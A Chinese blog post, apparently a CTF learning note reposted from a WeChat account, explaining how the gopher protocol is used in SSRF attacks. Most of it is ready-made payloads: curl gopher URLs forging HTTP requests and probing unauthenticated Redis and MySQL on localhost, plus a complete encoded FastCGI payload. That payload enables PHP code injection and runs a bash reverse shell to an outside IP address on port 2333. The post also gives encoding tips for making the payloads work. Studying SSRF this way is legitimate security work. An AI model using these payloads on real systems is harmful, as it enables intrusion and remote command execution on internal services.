Goher协议初学习

admin 2023年2月21日13:20:49评论41 views字数 1656阅读5分31秒阅读模式

今天网鼎杯的一个题目,碰到了gopher协议,CTF比赛接触也是很长时间了,之前一直没有耐心了解gopher协议。查了下, gopher协议居然是前http时代的大哥。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。

gopher url 格式为:
gopher://<host>:<port>/<gopher-path>
<port>默认为70。
<gopher-path>其中<gopher-path>格式可以是如下其中的一种</gopher-path>


如下

一个典型的GET数据包

curl gopher://192.168.109.166:80/_GET /get.php?param=Konmu HTTP/1.1Host:192.168.109.166%0d%0a

POST与GET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数。

一个典型的POST数据包

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。


经常在漏洞利用SSRF组合拳或者CTF场景下接触到Gopher协议:

登陆未授权redis

curl gopher ://127.0.0.1:6379/_info

登陆无密码验证码的mysql

curl gopher://127.0.0.1:3306/_

攻击内网脆弱web服务

攻击内网未授权ftp服务

攻击fastcgi

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Goher协议初学习


使用过程中的注意事项

第一次编码要把所有的%0A换成%0D0A,后再进行两次编码。

回车换行需要使用%0d%0a。


另外gopher是可以处理ssl协议的,可以将ssl置空来处理。

Goher协议初学习



原文始发于微信公众号(here404):Goher协议初学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日13:20:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Goher协议初学习https://cn-sec.com/archives/1267913.html

发表评论

匿名网友 填写信息